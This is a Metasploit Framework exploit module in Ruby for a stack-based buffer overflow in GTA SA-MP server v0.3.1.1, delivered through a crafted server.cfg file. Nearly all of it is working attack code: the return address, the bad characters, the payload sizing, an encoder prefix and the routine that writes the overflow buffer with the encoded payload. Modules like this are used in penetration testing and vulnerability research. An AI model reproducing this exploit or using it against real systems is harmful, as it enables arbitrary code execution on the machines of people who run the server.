##
# $Id: gta_samp.rb 14076 2011-10-26 22:16:26Z mc $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::FILEFORMAT

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'GTA SA-MP server.cfg Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack-based buffer overflow in GTA SA-MP Server.
    This buffer overflow occurs when the application attempts to open a malformed
    server.cfg file.  To exploit this vulnerability, an attacker must send the
    victim a server.cfg file and have them run samp-server.exe.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'Silent_Dream',  # Original discovery, MSF Module, template by mona.py
    ],
   'Version'        => '$Revision: 14076 $',
   'References'     =>
    [
     [ 'URL', 'http://www.exploit-db.com/exploits/17893' ]
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Platform'       => 'win',
   'Payload'        =>
    {
     'BadChars'       => "\x0d\x0a\x1a",
     'Space'          => 392,
     'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",
     'DisableNops'    => true,
     'MaxSize'        => 392,
    },

   'Targets'        =>
    [
     [
      'GTA SA-MP (samp-server) v0.3.1.1',
      {
       'Ret' => 0x00429faa, # PUSH ESP; RET (samp-server.exe)
      }
     ],
    ],
   'Privileged'     => false,
   'DisclosureDate' => 'Sep 18 2011',
   'DefaultTarget'  => 0))

  register_options(
   [
    OptString.new('FILENAME', [ false, 'The file name.', 'server.cfg'])
   ], self.class)

 end

 def exploit

  buffer = "echo "
  buffer << rand_text_alpha_upper(379)
  buffer << [target.ret].pack('V')
  buffer << payload.encoded
  file_create(buffer)

 end
end